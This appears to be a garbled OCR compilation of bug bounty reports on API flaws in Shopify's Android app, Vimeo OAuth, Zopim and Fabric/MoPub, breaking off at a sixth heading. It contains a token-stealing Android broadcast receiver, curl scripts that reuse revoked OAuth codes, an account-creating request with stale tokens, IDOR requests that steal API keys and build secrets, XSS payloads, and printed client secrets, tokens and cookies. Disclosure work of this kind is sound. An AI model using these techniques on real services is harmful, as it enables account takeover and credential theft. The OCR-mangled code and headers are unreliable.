APl EXAMPLE 1

Vulnerability Type: Api request's response leakage.

Screenshot of Component:
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Content-Type-Options
: 8276405
i
) rity-Policy-Report-Oply : default-src 'self' https: safari-extension: chrome-extension-resource: chrome-extension: chromeinvoke: chromeinvokeimmediate: webviewprogr
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o, X-Request-1d 87d14- -425c-8fea-b3dbes5d11163
o/ 84): Content-Encoding L
o/ OkHttp-Selected-Protocol : http/1.1
o/ 2 OkHttp-Sent-Millis : 1428826781809
o/ 2784) . s : 826782651
o/
o/
o/ 8 2 Sun, 12 Apr 2015 08:19:44
o/ 84): Content-Type : text/html; charse:
o/ Connectton :
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X-Shopify-Login-Required : true
hopify-Auth-Mechant : password
X-Frame-Options : SAMEORIGIN
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Set-Cookie : _secure_admin 1d=9af57376f 2ea0ed0ach6ba6a04882a64; cure; Httponly
Sét-cookie : request_metho
-1d : 3cbbdd2c-628f -4€03-a4c1-e5409d9b66ba
NOI DSP COR NID ADMa OPTa OUR,NOR
Content-Encoding : gzip
X-Dc : chi
OkHttp-Selected-Protocol : http/1.1
OkHttp-sent-Millis : 1428826784735
(12784): OkHttp-Recelved MLl 142882678

(17800): response_headers null (null)

(17800): request_id 23241935-2b28-4347-98¢6-739e0ef215f0 (java.lang.String)
(17800): response_body {"permission":{"access token":"885d505e8b4f6677e25f06FFdc2fed34" 1) (java.lang.String)
(17800): response_code 200 (java.lang.Integer)

(17800): Sun Apr 12 16:37:10 GMT+08:00 2015

(17800): {"permission":{"access_token":"885d505e8b4f6677e25fa6ffdc2fed34"}}
(17800): response_headers null (null)

(17800): request_id 26d9ee74-3696-479d-98dd-dddbBf2e1a35 (java.lang.String)
(17800): response_code 200 (java.lang.Integer)

(17800): Sun Apr 12 16:37:10 GMT+08:00 2015

(17800): response_headers null (null)
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attack.java (~/Desktop) - VIM @ e

1":value.getClass().getName()));

Tor(int i=o0;i=<r a ength; i+=2)
{

dump . append ( r [i1 + g + responseHeaders[i+1] + "\n");

dump.append(‘\n")

sharedPreferences sharedPreferences = context.getsharedPreferences("dump”, Context.MODE_PRIVATE);

URL GET/POST data: POST METHOD:

https://drive.google.com/file/d/1mIRN2VsBSIXIhEVONrc-tzOlvO9kiSwZ/view?ts=5a97a73f

Business Logic:

Shopify android client all APl request's response leakage, including access_token, cookie,
response header, response body content and much other information. An attacker can extract
cookie and access_token of Shopify android client without any permission needed and user
awareness.

Bug Impact:

A malicious android app can extract cookie and access_token and other user sensitive
information in Shopify android client, and thus taking control of user's account.

Bug demostration (see two screenshots with stolen cookie in http headers printed in logcat and
access_token).

Bug Explanation:

The shopify client use implicit broadcast to communicate intra-app to pass network request's
response infromation, with action "com.shopify.service.requestComplete". However this
broadcast is not protected by permission, thus any android client can register a broadcast
receiver and monitor response information, extracting sensitive account credentials.

The broadcast is send at com/shopify/service/netcomm/NetworkService, recvd at multiple
points. including
com/shopify/service/BaseRequestDelegateSRequestCompletionBroadcastReceiverS$1.

Step To Reproduce:


https://drive.google.com/file/d/1mIRN2VsBSlXIhEV0Nrc-tzOlvO9kiSwZ/view?ts=5a97a73f

1. Install the poc apk and shopify client, poc apk registered a receiver and monitor in
background

2. Open shopify and login, the poc apk will now receives user's admin_cookie and
access_token silently, print them in logcat as demonstrated in screenshots. Of course
the attacker can send it to remote control center and fully take control of user's
account.

3. As user operates the attacker can receives other response information.
logcat command: adb logcat -s SHOPIFYHACK:V

Attack Code:

Applications — Places ~ [ Terminal ~ W ) B -

attack.java (~/Desktop) - VIM o o o

BroadcastReceiver {

. Intent intent) {

1":value.getClass().getName()));

dump . append : seHeaders[i+1] + “\n");

dump
dump

SharedPreferences sharedPreferences = context.getSharedPreferences( mp", Context.MODE PRIVATE);

Corresponding manifest component:

<receiver android:name=".HackBroadcastReceiver">
<intent-filter>
<action android:name="com.shopify.service.requestComplete"/>
</intent-filter>

</receiver>



APl EXAMPLE 2

Vulnerablity Type: OAuth API.

Screenshot of Component:
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getAccessToken.sh.txt = (/tmp/mozilla_root0) - VIM e 0 0
File Edit Tools Syntax Buffers Window Help
DERE&8 =~ - B QA +>« B@e OO0 08
@1 /binsbash
curl --data "grant type=authorization codearedirect uri=https://avuln.com/callback&code=$1" -u "79658bbeeddaBbe5254a5137bcofcc93f7059a2a:5QEE8]Y+]j0FalHrexGl4aj+owA3oyrL
KojgH3L71VYXjZ67Zi0KYPRNt5r8SuSL80@1YkSU+ZEnd14dVkg5347ZnUEqBBeCa02z2cBrbGlqgryYmikKAuV2oe0LXSBLFgM" “https://api.vimeo.com/oauth/access token"
echo '*
date
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Applications v Places v # GVim ~ u ) ] 2 ) B -

me.sh.txt = (/tmp/mozilla_root0) - VIM e e O
File Edit Tools Syntax Buffers Window Help

B0GEHE8 ~ - B Q=+ e BEs %OI 93
B! sbin/bash

curl -i "https://api.vimeo.com/me?access token=$1"

echo **
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URL GET/POST data: POST METHOD:

https://api.vimeo.com/oauth/authorize?response type=code&client id=79658bbee0da8be525
435137bc0fcc93f7059a2a&redirect uri=https://avuln.com/callback&scope=public&state=0123
456789abcdef

https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79
450c14eeb657

Business Logic:



https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79450c14eeb657
https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79450c14eeb657

OAuth2 API makes it possible for users to grant access to their accounts to some third-side
applications. Of course, users are able to manage such applications' access to their accounts
and may deny access for any application. When some user denies access for the application, all
access_tokens are being revoked and become invalid. But not only access_tokens should be
revoked, authorization codes (it is intermediate token used in OAuth2 Authorization Flow) must
be revoked too. Vimeo OAuth2 APl implementation does not revoke authorization code during
access revocation. It may be exploited to restore access to user's account by malicious
application after access revocation.

Proof of Concept:

1) Open the link for OAuth2 authorization for some application. Example link for my test
application (Dorls Test1, feel free to use my test application to reproduce the issue):

https://api.vimeo.com/oauth/authorize?response type=code&client id=79658bbee0da8be525

435137bc0fcc93f7059a2a&redirect uri=https://avuln.com/callback&scope=public&state=0123
456789abcdef

2) Log into your Vimeo account (if needed) and click Allow
3) Copy code value from callback url, for example:

https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79
450c14eeb657

code value is e1fa87cd449ae55b74445b31ac79450c14eeb657
4) Use code value to obtain access_token:

dorisS ./getAccessToken.sh e1fa87cd449ae55b74445b31ac79450c14eeb657

{ "access_token": "d3ac3bb53d1c4ebc3de7d28e4ed801c0", "token_type": "bearer",

n,on

"scope": "public private", "user":{ "uri": "/users/39285903",<... CUT OUT ... >}
5) Check validity of access_token:
dorisS ./me.sh d3ac3bb53d1c4ebc3de7d28e4ed801c0

HTTP/1.1 200 OKDate: Tue, 21 Apr 2015 14:10:29 GMTServer: nginxContent-Type:
application/vnd.vimeo.user+jsonCache-Control: no-cache, max-age=315360000Expires: Fri, 18
Apr 2025 14:10:29 GMTContent-Length: 2930Accept-Ranges: bytesVia: 1.1 varnishAge: 0X-
Served-By: cache-fra1239-FRAX-Cache: MISSX-Cache-Hits: OX-Timer:
S$1429625429.334602,VS0,VE203Vary: Accept,Vimeo-Client-Id,Accept-Encoding{ "uri":
"/users/39285903" < ... CUT OUT ... >}

6) Repeat step 1. Link for my test application:


https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79450c14eeb657
https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79450c14eeb657

https://api.vimeo.com/oauth/authorize?response type=code&client id=79658bbee0da8be525
435137bc0fcc93f7059a2a&redirect uri=https://avuln.com/callback&scope=public&state=0123
456789abcdef

7) Repeat step 2. Log into your accounts (if needed) and click Allow.

Note: it is not hard to imagine an application requiring user to pass authentication one more
time. Many applications do not store long-term sessions and force users to login/authorize
every day or even often.

Note 2: often OAuth providers allow to use approval_prompt=auto parameter, which makes
this step does not require user to click Allow again. | had not found such possibility for Vimeo
API, but if it is possible, in such case malicious application just need to place on its web-site (or
whenever in the Internet) something like that:

<html> <img
src="https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8b
e€5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=
0123456789abcdef"></html>

such code will "silently" produce new access_token value to callback each time it has been
loaded by the user.

8) Copy code value from callback url and save it for future usage:

https://avuln.com/callback?state=0123456789abcdef&code=82e24f835184f47cd83f249907e7b
d5018bf62c9

code value is 82e24f835184f47cd83f249907e7bd5018bf62c9

9) Go to account security settings https://vimeo.com/settings/apps

10) Disconnect the application (Dorls Test1l if my test application used) from Apps section
11) To ensure that access is denied, repeat step 5:
dorisS ./me.sh d3ac3bb53d1c4ebc3de7d28e4ed801cO

HTTP/1.1 401 Authorization RequiredDate: Tue, 21 Apr 2015 14:23:55 GMTServer:
nginxContent-Type: application/vnd.vimeo.error+jsonCache-Control: no-cache, max-
age=315360000WWW-Authenticate: Bearer error="invalid_token"Expires: Fri, 18 Apr 2025
14:23:55 GMTContent-Length: 53Accept-Ranges: bytesVia: 1.1 varnishX-Served-By: cache-
fral245-FRAX-Cache: MISSX-Cache-Hits: OX-Timer: S1429626235.146346,VS0,VE105Vary:
Accept,Vimeo-Client-Id,Accept-Encoding{ "error":"A valid user token must be passed."}

12) Use code value from step 8 and exchange it for access_token:

dorisS ./getAccessToken.sh 82e24f835184f47cd83f249907e7bd5018bf62c9


https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef
https://avuln.com/callback?state=0123456789abcdef&code=82e24f835184f47cd83f249907e7bd5018bf62c9
https://avuln.com/callback?state=0123456789abcdef&code=82e24f835184f47cd83f249907e7bd5018bf62c9
https://hackerone.com/redirect?signature=5af5c7d9886d9225b54b70f0df9709c5eb58c747&url=https%3A%2F%2Fvimeo.com%2Fsettings%2Fapps

{ "access_token": "9eabdc746910ea39c07395ee1b69a2b9", "token type": "bearer",
"scope": "public private", "user": { "uri": "/users/39285903",<... CUT OUT ...>}

13) Check validity of access_token:
dorisS ./me.sh 9eabdc746910ea39c07395ee1b69a2b9

HTTP/1.1 200 OKDate: Tue, 21 Apr 2015 14:25:41 GMTServer: nginxContent-Type:
application/vnd.vimeo.user+jsonCache-Control: no-cache, max-age=315360000Expires: Fri, 18
Apr 2025 14:25:41 GMTContent-Length: 2930Accept-Ranges: bytesVia: 1.1 varnishAge: 0X-
Served-By: cache-fral235-FRAX-Cache: MISSX-Cache-Hits: OX-Timer:
$1429626341.087757,VS0,VE201Vary: Accept,Vimeo-Client-Id,Accept-Encoding{ "uri":
"/users/39285903",<... CUT OUT ...>}

Impact:

The vulnerability allows an malicious application to keep its access active to a victim's account
even after access revocation. This is not only authorization bypass, but it also deprives a victim
ability to manage access for an application.



APl EXAMPLE 3

Vulnerability Type: API

Screenshot of Component:
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URL GET/POST data: POST METHOD:

https://www.zopim.com/

Business Logic:

The Owner of the Zopim dashboard account has an ability to Create agents and disable then,
while disabling the an agent, it restricts him to access him to login to the dash board (this is
okay ) but you are not expiring the access_tokens . if access_tokens are reused we could gain
access to the account again !


https://www.zopim.com/

Think of a situation where an Owner creates an agent and gives administration access, when
the Owner comes to know that its attacker profile , he just disables it ! but disabling the
account doesnt seems secure here , the account can be used via access_token.

Steps to Reproduce

1.
2.
3.

6.

Login to Owner account and Create an agent with administrator privilages
Now Open another browser and login to agent account

Create an client in agent account and Do the authorization and get down the
access_token

Now go to Owner account and disable the agent

Now use this request

curl https://www.zopim.com/api/v2/agents \

-d Y "email": "attacker@attacker.com", \ "password": "secretpassword", \
"first_name": "attacker", \ "last_name": "Anon", \ "display_name": "Mr Robot",
\ "enabled": 1, \ "im_server_id": "smith",\ }'\

v/

-X POST -H "Authorization: Bearer "access_token_here™

You could create an account !

Simple Steps To verify:

1.

©® N A WN

Login to Agent account and Open this >> https://victim2-
80.terminal.com/zopadmin.html

Now Click on " Done have access_token? Click Here"

IT will prompt "Allow Or Deny ", Click on Allow

Now it will show you the "Access Token ", Copy it

Now open Owner account and disable agent account

Now go here again >> https://victim2-80.terminal.com/zopadmin.html

And give access_token there and Click on Submit

An account will be created with email = lol@gmail.com & password=csrfcsrf



https://www.zopim.com/api/v2/agents
mailto:attacker@attacker.com
https://hackerone.com/redirect?signature=2800b012b1e726a75af63d0e9e8952c632fab558&url=https%3A%2F%2Fvictim2-80.terminal.com%2Fzopadmin.html
https://hackerone.com/redirect?signature=2800b012b1e726a75af63d0e9e8952c632fab558&url=https%3A%2F%2Fvictim2-80.terminal.com%2Fzopadmin.html
https://hackerone.com/redirect?signature=2800b012b1e726a75af63d0e9e8952c632fab558&url=https%3A%2F%2Fvictim2-80.terminal.com%2Fzopadmin.html
mailto:lol@gmail.com

AP| EXAMPLE 4

Vulnerablity Type: API.

Screenshot of Component:

Go Cancel < v > v Target: https:ifabric.io [:J ?
Request [ changed organization id l Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST fapi/v3/organizations/54E0d2394h793294df01104a/mopub/activate HTTR/L. 1 A HITP/Ll.1 201 Created A
Host: fabric io r Comtent-Type: application/ison; charsec=ucf-g r
User-Agent: Mozilla/5 0 (Windows .3; WOWE4; rv:41.0) Gecko/Z0100101 Firefox/41.0 Date: Sat, 74 Oct 2015 07:35:74 GMT
Accepr: */* Server: nginx
Accept-Language: en-US,en;q=0_5 Set-Cookie:
Accept-Encoding: gzip, deflate _fabric_session=BAh7CUkiD3N1e3lpblsfaWQc0gZFRk i TWIyNT ZulWE SHCRmITINi Tz I x ODMwMT LEMZESNT
H-CSRF-Token: 0jCGx0Z0gwimucYubALn! 0IlsSUBI1Vgxjwlegip73A= QOZGYWB]sAVERiEF9je2ImX3RvaiVuBjsARkk iMTEgR3h Pk Sndutt AWNZAWIBTGEsUH1lvSWxsULVCE ) FWUXh
Content-Typ application/z-www-form-urlencoded; charsec=UTF-8 dzB MOESB] sARKkiHHdhenRlbiSle 2y LnF i ¥291bnualVEB AV s 1SS IMOWIT b 3VudATTARZLELUE
X—CF&AS‘HLYTICS‘ DEVELOPER-TOKEN: ObbSeadSeb53fa7lfab758280beba7dEbbBETeTT ClklveGVk0jpCU0S00 ) pPYmp 1T3RIZCTIRVGDEMOE SMp T fARBASSTi IDThIDEwI CwdWT 1 R2p LUVVpMURs 81800
pod ith: XMLHC FIOUWUGOWEUSSIUL3InYWSpenF0aWsw<Z1kE]sARkk iHTUOYWEON jgCMzczlDJiZD g3 0DAWMTAZMAY TAF Q% 3D
Referer: —-c243ee0f1fIcle3066d86hT56fc feTdefaab4584; donain=. fabric.io; path=/; expires=Sat,
https://fabric. io/ing-sres-onerrorpronptls/android/apps/app. myapplication/mopub 07-How-2015 07:35 GHI; secure; HetpOnly
Content-Length: I35 Status: 201 Created
Cookie: _ utma: 0751746, 15857 E6.1415557883. 14455675993 1445€7089! B uvt=; Strict-Transport-Security: max-age=3153e000
uvts=ZTZTELAM4VASSonN; _ga=GALl.Z2.1585752066.1415552883; X Ly -Id: 10%€02! 4 £330a5604597
_fabric_session=BAh7CUkiD3N1c3NpblsfaWiGOgZFRkk 1 JWIyMT ZniWE SHGEmN NiY 2 Tx 0D MwMT 1 MIESNT X-Buntime: O0.E1BL
Q0ZGYWE]sAVERiEFS ] c3TuM3Rvailub] sARkk iHTBqRIhPWk Indnt t AVNZAWIBT G5 sUXLvEWxzULVC S FWNdag H-UA-Compatible: IE=Edge,chrome=l
dgBranA3MOESE] sARk)k iHHdhemR1biSle2VyLnF i Y28 1bn0ualVEB ) sAVF s TSS THQWIT b 3VudAYTARZLE LUECK Content-Length: 582
LveGik0jpCU0S00)pPYup LY 3RIZCIRVGDSHOE SHp T fARBASS i JDJhIDEwI Gw4WT L RZp LUVVpMURS Si800FI0 Connection: keep-alive
TWUGIWBUSSIUb3InYWSpenF0aWIuX 2 1kB] sAR:k iHTUOTWEONS g"MzczMD I i ZDg30DAWMTAZMAYTAF Qs 3D -2
43eelflflclc3086dBEb 756 fofeT7defaah4584; {"mopub_identity":{"id":"5456c76eBhlidabedc000EdT", "confirmed" (true, "primary": false,"s
_utnz 075174E6.1443777767. 21 . 1. utmesr=ger. fabric. io|utmeen= (referral) [utmend=referra i mopub ', "token': "35592"}, "organization®: {"id": "54£0d2394h793294d£01104a", "nam
1lutme i notification key=XqlmoDLIYZvsZFlhrinEsSoGus EP1KLoS17ynae¥1xN04ws3D; "hub03ca
_utme=I10751746; _ utnb=11075174& .10.1445670992; _ utmc=1 hre{ \"]avas:lu.p: alerc(l);% " u003Es ul03C/a u003E " ul03Chl ul03Erest \ ud03C/h1  u003E",
Conmection: keep-alive "alias":"img-srcx-onerrorpromptls-projectsi’, "B590313cT3823750630T fe2T9ad48
Pragma: no-cache 7a98387767a" , "enrolluents": s_count":3,"apps_coun
Cache-Control: no-cache ts" android":2}, "sdk_organization":true, “hulld secret 23f62d71c478E11aé35eal
9a3132f037557d801503573hE432£8adB2054", "mopub_id": "33525"
cowpany_name=dragencompanyeaddressl= 3B43Cimg+sros xtonerrors AWpronpt (1) 3Ecaddres
52=$27%3E% 3Cimgtsrot 3Datonerrors 3Dpronpt (1) $3Eicity=12283E83Cingtsret 3hxtonerrors IDpro
wpt (1) §3Eestate=asdasazip_code=50094scountry_code=INalink=false
= =
v v
0 matches ? 0 matehes

1,486 bytes | 1,882 mills
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URL GET/POST data: POST METHOD:

https://fabric.io/img-srcx-onerrorprompt15/android/apps/app.myapplication/mopub

Business Logic:

The Fabric platform is made of three modular kits that address some of the most common and
pervasive challenges that all app developers face: stability, distribution, revenue and identity. It
combines the services of Crashlytics, MoPub, Twitter and others to help you build more stable
apps, generate revenue through the world’s largest mobile ad exchange and enable you to tap
into Twitter’s sign-in systems and rich streams of real-time content for greater distribution and
simpler identity. And Fabric was built with ease of use in mind.

There is an option to enroll your organization in fabric.io for mopub , but this particular end
point is missing proper authorization checks allowing any user to steal API tokens.

Vulnerable Request:

Vulnerable request

POST /api/v3/organizations/5460d2394b793294df01104a/mopub/activate HTTP/1.1

Host: fabric.io

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-CSRF-Token: 0jGx0Z0gvkmucYubALnlQyoIlsSUBJ1VQxjwOqjp73A=

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CRASHLYTICS-DEVELOPER-TOKEN: ObbS5ea45eb53Ta71fa5758250be5a7d5bb867e77
X-Requested-With: XMLHttpRequest

Referer: https://fabric.io/img-srcx-onerrorpromptl5/android/apps/app.myapplication/mopub
Content-Length: 235

Cookie: <redacted>

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

company_name=dragoncompany&address1=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(1)%3E&address2=%22%3E%3Cimg+s

Response:

{"mopub_identity":{"id":"5496c76e8b15dabe9c0006d7","confirmed":true,"primary":false,"serv
ice":"mopub","token":"35592"},"organization":{"id":"5460d2394b793294df01104a","name":"\
u003Ca
href=\"javascript:alert(1);\"\u003Es\u003C/a\uO03E\u003Ch1\u003Etest\u003C/h1\u0O03E","al
ias":"img-srcx-onerrorpromptls-
projects2","api_key":"8590313c7382375063c2fe279a4487a98387767a","enroliments":{"beta_
distribution":"true"},"accounts_count":3,"apps_counts":{"android":2},"sdk_organization":true,’
build_secret":"5ef0323f62d71c475611a635ea09a3132f037557d801503573b643ef8ad82054","

mopub_id":"33525"}}

1


https://fabric.io/img-srcx-onerrorprompt15/android/apps/app.myapplication/mopub

Steps To Reproduce:

1. create two accounts

2. note down organization id's from both the accounts

3. repeat the above request with organization id of B from account A
4. you will be able to steal victims mopub API key

Account Takeover:

1. Use the above method to steal the build secret from the victim using fabric.io

2. use the below URL to get access into victims mopub account.
https://app.mopub.com/complete/htsdk/?code=[build secret]&amp;next=%2d replace
[build secret] with token you extracted from step one

3. Now you will have access to victims mopub's account with all his apps/organizations
from fabric as shown in the screenshot

File | Edit | View  History | Bookmarks | Tools | Help El - - IEl
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https://app.mopub.com/complete/htsdk/?code=%5bbuild

APl EXAMPLE 5

Vulnerablity Type: APl Permission Apocalypse Privilege Escalation.

Screenshot of Component:

Go < v > v Target: https:iffabric.io w w
Request
Raw | Params | Headers | Hex Raw | Headers | Hex
CET ] 1
/api/vi/projects/562h200a44e4b4163100014e /issues/54bf43446580dfe P [{"body": "cest’ " \u003E MO03C", "creaced at":"2015-01-21T07:15:57.3912", "id": "54b £522de4b092c4676b5RE ", "accoun
alSagclal/notes HITP/L.L1 £ {"email":"akhilreniBlive. com","id": "5460d2334h793294d£011040", "name": "\ "\ u003E u003Cing sre=x
Host: fabric.io onerror=prompt (1) \u003E"}}, {"body": "google.con”,"created at":"2015-01-21T07:16:09.534Z","id": "54b£5235e4b0dl
User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; rw:4l. ££41e£99bd", "account”: ("email": "akhilreni@live con’,"id": "5460d2334b793294d£011040" , "name" s *\ " \u003E ul0ZCin
Ceclko/20100101 Firefox/41.0 g st
Aecept: applicacion/ison, texc/javascript, */*; gq=0. onerror=prompe (1) \ud03E"}}, { "body": "wnw_google. con', "created_ac': : _7E4Z","id":"E4bE524bed
Accept-Language: en-US,en;q=0.5 b0eE01712ag64c", "account”: {"email": "akhilreniflive.com', "id! 4d£011040", "name": "\ "\ u003Eu00
kecept-Encoding: gzip, deflate 3Cimg sresx
H-CSRF-Token: gsZYSX1RET+cD02IiElwolsSlizdl flwd £1h 18 qe= onerror=prompt (1) \u003E"}}, {"body": "https://wew. fabric.ic”, "ereated at”:"2015-01-21T07:16:45.901Z","id":"54b
H-CRASHLYTICE-DEVELODPER-TOKEN: £525dedbabl748 fe1476" , "account": ("email": "akhilreni@Blive com", "id": "E4E0d7334b7E3264dE011040", "nane " "\ " ul
Obb5ea4beb53fa7l fa5750290be 5a7d5hhaEETeTT 03E\u003Cing sre=x
M-Requested-With: XMLHctpRequest onerror=prompe (1) \u003E"}}, {"body": "heops: //wnw. fabric. ioBgoagle. con", "ereated at":"2015-01-21T07:16:50.9572
Referer: ", "id":"54hE5262e4b00=0EL2ESLTeh", "account *: { "email”: "akhilreni@live.com", "id": "54£042334h793294d£011040", "
https://fabric. io/ing-srex-onerrorpromptls-projectsZ/android/app " U003E u003Cing st
s/app. adasd/issues/EETb2E0h £5d3aT £7EbOSETAN onerror=prompt {1} \ud03E"}}, {"body": "best", "ereated_at":"2015-02-13T21:389:08.1772", "id": "Eddefefredbidad3bhTh
Coclkie: _ga=GAl.2. 1411255005, 1445688051; £459", "account": {"email":"akhilreni@live  com" 34b793294d£011040", "nane” : "\ " u003E u003Cing
_fabric_session=BAWTCURAD3INLe3NphlsfaWiGogZ R id TTAMIVINIZATS g0 sroe=x
ZDJENTex¥IMSHZAZED InNTH3Z B sAVEL iEF 93 0 300X 3 RvalVuB ) s ARk ild onerror=prompt (1) \u003E"}}, {"body""WPest ", "created at':"2015-02-13T21:39:41.264Z","1d": "54def £1de4hDd84s7
2W L) SWDFSQ]crY00wek LqRTF 3h0x2U2xBenRd Znx35nZs aF Lob FqeWHEE ) sARK ddff","account": {"email”:"arhilrenilive. com"," 5460d2334b793294d£011040", "nane” : "\ " \u003E u003Cing
JiHHdhenRlhible Uy LoF i Y28 1bniualVEE ] sAVFs T8 S THOW b 3VudATTARZLE sre=x
108Gk Lve GV 03 pCUnS 00 9pPYep LY 3RIZCTEVGDOFy 7c fwrVAARPSSTiIDIhIDEw onerror=prompe (1) \ud03E"}}, {"body":MEest ", "creared_at':"2015-02-13T21:40:01.9412", "id": "54ded £31e4b0dad3shTh
JGLEAEgvb ONTSWVWYVRF EUR2R3RFN0EGOwETSS IUL 300V WEp enFO0aVoIuX2 LB s £45a", "account: {"email":"akhilreniflive. com”,"id":"5460d2334L753254d£011040", "'nane” : "\ "\ u003E w003 ing
APKk iHTUONIEEMIMSNGI30THy OTR: 23 AxMTADY QY 7AF Q3 3D--5e37h02£976252 sre=x
2d0fdbalSlEdl3E£9131a82038; onerror=prompt (1) \u003E"}}, {"body": "https: //wew. fabric.i0'u003Ch1 w003E", "created at":"2015-02-13T21:40 4
utma=210751746 1411255806 1445E68051. 14456860067, 1445650087, 21z, "id": "Eddeff4624b0204d193E3548 akhilrenifilive com', "id":"E450d2334b783254d£011040"
210751746 7.5, 1445666077630; __ueme=210751746; ,'mame”: " " u003E u003Cing sre=x
_ £.1445660067. 1. L utmesr=get. fabric. iolutmeen=(re onerror=prompe (1) \u003E"}}, {"body": "heeps: //wnr. fabric. 10°u003Ch1 ud03E% \u003Ch1\\ud03E", "ereated_at 1
ferral) lutnemd=referral lutmect=/; §-02-13T21:41:03.3572","id": "54def £€ £e4b023£8015H3054" , "account " {"email": "akhilreni@live.com", "id": "54£0423
notification key=GAShEEq) ovBEQ3ASFhtyeLwqls 2FAYE avATWDwsUNGEVAS 34R7932944£011040", "name”: " "\u003E u003Cing sre=x
3D; __utme=1 onerror=prompt (1) \u003E"}}, {"body": "https: //www. fabrie.i0%" \ul03Chl\\ul03E", "ereated_at":"2015-02-13T21:41:
Commection: keep-alive 16.5822","id": "54dedfTeedbicdd3d4bliada’ , "account”: {"email": "akhilreni@live com", "id": "5460d2334h753254d£011
040", "name": """ u003E u003Cing sre=x
onerror=prompt (1) \u003E"}}, {"body": "\u003Chttp: 7/ u003Ch1" \ \u003EEest ) \ud03C k1Y \u003IE u003E", "ereated a
- £":"2015-02-13T21: 41: 4deffaledb023 £6015H3055", "account " : {"email": "akhilreni@live.com’,"id":" &
X 54E0d233457930944£011040" . "name" - "\ "\ ud03E ul03Cing sre=x X

DELETE /api/v2/organizations/5460d2394b793294df01104a/apps/5496f7854¢

Host: www.fabric.io

Connection: keep-alive
Accept: application/json, text/javascr
Origin

X-CSRF

X-Requested-With: XMLHttpRequest
X-CRASHLYTICS-DEVELOPER-TOKEN: Obb5ead5eb53fa71fa5758290be5a7d5bb867¢

User-Agent: Mozilla/5.0 (Windows NT 6.3;
Referer:

Encoding: gzip, deflate, sdch

-Language: en-US,en;q=0.8

URL GET/POST data: DELETE METHOD:

https://fabric.io/dashboard.

Business Logic:

pt,

/; q=0.01

-Token: 06Mz1RvMNizNQLkOVZWk5pb3LU6PUagNLPdGFQ4HdOg

WOW64) AppleWebKit/537.36 (k



https://fabric.io/dashboard

The Fabric platform is made of three modular kits that address some of the most common and
pervasive challenges that all app developers face: stability, distribution, revenue and identity. It
combines the services of Crashlytics, MoPub, Twitter and others to help you build more stable
apps, generate revenue through the world’s largest mobile ad exchange and enable you to tap
into Twitter’s sign-in systems and rich streams of real-time content for greater distribution and
simpler identity. And Fabric was built with ease of use in mind.

Using fabric SDK one could embed Crashlytics, Login with twitter into their Android/IOS
application. Users can manage/track reports from their dashboard at
https://fabric.io/dashboard.

Vulnerability Description:
While in dashboard we could see two type of users:

1. Admin — Can Delete Apps, Add members, Delete Members
2. Member- Cannot Delete Apps, Cannot Add Members, Cannot Delete Members

On logging into Fabric.io every user gets an access token,

this access token along with session cookies are used to authenticate every request. So we
checked if the member’s access token can be used to perform admin requests.

We intercepted a delete request from the admin’s profile , Replaced the access token ( X-
CRASHLYTICS-DEVELOPER-TOKEN: ) with member’s access token along with the member’s
session cookie.

The request looks like:

DELETE /api/v2/organizations/5460d2394b793294df01104a/apps/5496f7854«
Host: www.fabric.io

Connection: keep-alive

Accept: application/json, text/javascript, /; gq=0.01

Origin: : W T

X-CSRF-Token: 06MzlRvMNizNQLkOVZWk5pb3LU6PUagNLPdGFQ4HdOg=
X-Requested-With: XMLHttpRequest

X-CRASHLYTICS-DEVELOPER-TOKEN: Obb5ead45eb53fa71fa5758290be5a7d5bb867¢
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOwW64) AppleWebKit/537.36 (k

Referer:

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8
Cookie:



https://fabric.io/dashboard

Upon sending the above request we got a 200 status as response and the application was
successfully deleted.

Using this vulnerability a attacker with normal member privileges could have made himself an
admin and could have taken over that organization.



AP| EXAMPLE 6

Vulnerablity Type: Disclosure of all the apps with hash ID in mopub through API request
(Authentication bypass).

Screenshot of Component:
